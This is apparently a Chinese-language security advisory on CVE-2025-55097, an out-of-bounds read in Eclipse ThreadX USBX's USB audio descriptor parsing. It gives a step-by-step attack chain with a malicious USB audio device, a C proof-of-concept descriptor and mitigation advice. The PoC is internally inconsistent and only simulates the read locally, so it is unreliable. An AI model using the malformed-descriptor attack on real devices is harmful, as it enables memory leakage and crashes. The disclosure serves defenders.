IPBUF安全漏洞报告
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CVE-2025-55097 CVSS 6.1 中危

CVE-2025-55097 USBX音频流采样解析越界读取漏洞

披露日期: 2025-10-17

漏洞信息

漏洞编号
CVE-2025-55097
漏洞类型
越界读取(Out-of-Bounds Read)
CVSS评分
6.1 中危
攻击向量
物理 (AV:P)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Eclipse ThreadX USBX

相关标签

越界读取OOB ReadUSBXThreadXEclipseUSB嵌入式安全IoT安全物理攻击信息泄露

漏洞概述

CVE-2025-55097是Eclipse基金会ThreadX操作系统中USBX模块存在的一个安全漏洞。USBX是ThreadX的USB主机/设备/OTG支持模块,广泛应用于嵌入式系统和物联网设备中。该漏洞存在于USBX 6.4.3之前的版本中,具体位于`_ux_host_class_audio_streaming_sampling_get()`函数中。当系统解析USB音频流设备(USB Audio Streaming Device)的描述符时,由于缺乏对输入数据有效性的充分校验,可能导致越界读取(Out-of-Bounds Read)操作。

根据CVSS 3.1评分体系,该漏洞评分为6.1分,属于中等严重级别。其攻击向量为物理访问(AV:P),攻击者需要物理接触目标设备并插入恶意的USB音频流设备来触发该漏洞。漏洞利用无需任何认证(PR:N)和用户交互(UI:N),一旦触发将导致高机密性影响(C:H)和高可用性影响(A:H),但不影响数据完整性(I:N)。

该漏洞由Eclipse基金会安全团队成员发现并报告。鉴于USBX在嵌入式设备中的广泛应用,包括工业控制、医疗设备、消费电子等领域,该漏洞可能影响大量IoT和嵌入式产品。攻击者可以利用该漏洞读取设备内存中的敏感信息,或导致设备崩溃/拒绝服务,对设备安全构成潜在威胁。

技术细节

该漏洞的根本原因在于`_ux_host_class_audio_streaming_sampling_get()`函数在解析USB音频流设备描述符时,未对描述符中的关键字段(如采样频率、通道数等参数)进行充分的边界检查。当恶意USB设备返回精心构造的音频流描述符时,其中的字段值可能超出函数内部缓冲区或数据结构的预期范围,导致越界内存读取操作。

具体技术细节如下:
1. **漏洞触发点**:`_ux_host_class_audio_streaming_sampling_get()`函数负责从USB音频流接口描述符中提取采样参数信息;
2. **触发条件**:当USB主机枚举到一个音频类(Audio Class)设备并尝试获取其流接口的采样参数时触发;
3. **根本原因**:函数在访问描述符数据时,未验证关键偏移量和长度字段是否在描述符的实际范围内;
4. **攻击方式**:攻击者制作一个恶意的USB音频设备,插入目标设备后,系统自动枚举并解析该设备时触发越界读取;
5. **影响后果**:可能泄露相邻内存中的敏感数据,或因读取非法地址导致系统崩溃(拒绝服务)。

利用该漏洞需要物理访问目标设备的能力(物理攻击向量),这在一定程度上限制了其远程利用的可能性,但在公共充电站、共享设备等场景中仍具有现实威胁。

攻击链分析

STEP 1
步骤1:准备恶意USB设备
攻击者使用微控制器(如基于VUSB或FUSB302的设备)制作一个模拟USB音频类(Audio Class)设备的硬件,该设备返回经过精心构造的畸形音频流接口描述符,其中采样频率类型(bSamFreqType)字段被设置为异常大的值(如255),但描述符长度(bLength)不足以容纳对应数量的采样频率数据。
STEP 2
步骤2:物理接触目标设备
攻击者通过物理方式将恶意USB设备插入或连接到运行受影响USBX版本的目标嵌入式设备上,例如利用公共充电站、共享设备端口、或直接物理访问目标系统。
STEP 3
步骤3:触发USB枚举与描述符解析
目标设备的USBX主机栈自动检测到新连接的USB设备,开始枚举过程。当系统识别到该设备为音频类设备时,调用_ux_host_class_audio_streaming_sampling_get()函数解析音频流接口描述符。
STEP 4
步骤4:触发越界读取
由于畸形描述符中bSamFreqType字段值远大于描述符实际包含的采样频率条目数,函数在迭代读取采样频率数据时发生越界内存访问,读取到描述符边界之外的内存数据。
STEP 5
步骤5:信息泄露或拒绝服务
越界读取的结果可能导致敏感内存数据泄露(如密钥、密码等),或因访问非法内存地址导致系统异常崩溃(内核panic/assertion failure),实现拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * CVE-2025-55097 PoC - USBX Audio Streaming Sampling Get OOB Read * * This PoC demonstrates the vulnerability by crafting a malicious USB * audio streaming descriptor that triggers an out-of-bounds read in * _ux_host_class_audio_streaming_sampling_get(). * * To use: Flash this to a microcontroller (e.g., based on FUSB302 or * VUSB) that emulates a USB Audio Class device with a malformed descriptor. */ #include <stdio.h> #include <string.h> #include <stdint.h> /* USB Audio Streaming Interface Descriptor - Malformed */ typedef struct { uint8_t bLength; uint8_t bDescriptorType; uint8_t bDescriptorSubtype; uint8_t bFormatType; uint8_t bNrChannels; uint8_t bSubframeSize; uint8_t bBitResolution; /* Intentionally malformed sampling frequency fields to trigger OOB read */ uint8_t bSamFreqType; // Set to abnormally high value uint8_t tSamFreq[1]; // Truncated frequency data (normally 3 bytes per freq) } __attribute__((packed)) malformed_audio_streaming_if_desc_t; /* Crafted malicious descriptor payload */ uint8_t malicious_descriptor[] = { 0x07, // bLength = 7 (too short for declared content) 0x24, // bDescriptorType = CS_INTERFACE (0x24) 0x01, // bDescriptorSubtype = AS_GENERAL (0x01) 0x01, // bFormatType = PCM 0x02, // bNrChannels = 2 0x02, // bSubframeSize = 2 0x10, // bBitResolution = 16 /* The following would normally be part of a Type I format descriptor */ 0xFF, // bSamFreqType = 255 (causes OOB iteration) 0xFF, 0xFF, 0xFF // Insufficient frequency data for 255 entries }; int main(void) { /* Simulate the vulnerable parsing logic */ malformed_audio_streaming_if_desc_t *desc = (malformed_audio_streaming_if_desc_t *)malicious_descriptor; printf("[*] CVE-2025-55097 PoC - USBX OOB Read\n"); printf("[*] bSamFreqType: %u\n", desc->bSamFreqType); printf("[*] Descriptor length: %u (insufficient for declared freq count)\n", desc->bLength); /* The vulnerable code would iterate bSamFreqType times over tSamFreq, * reading beyond the descriptor boundary - this is the OOB read */ for (int i = 0; i < desc->bSamFreqType; i++) { /* This read goes out of bounds when i >= actual array size */ printf("[*] SamFreq[%d]: 0x%02x\n", i, desc->tSamFreq[i * 3]); } return 0; }

影响范围

Eclipse ThreadX USBX < 6.4.3

防御指南

临时缓解措施
在无法立即升级到USBX 6.4.3版本的情况下,建议采取以下临时缓解措施:1)限制目标设备的物理访问权限,防止未经授权的USB设备接入;2)在系统层面实施USB设备过滤,仅允许已知供应商ID(VID)和产品ID(PID)的设备连接;3)在USBX配置中禁用USB主机音频类(Audio Class)支持,如果业务场景允许的话;4)启用USB端口的物理锁定机制(如端口禁用、盖板封锁等);5)加强系统监控,检测异常的USB设备枚举和描述符解析行为;6)关注Eclipse基金会发布的安全补丁,在条件允许时尽快完成版本升级。

参考链接

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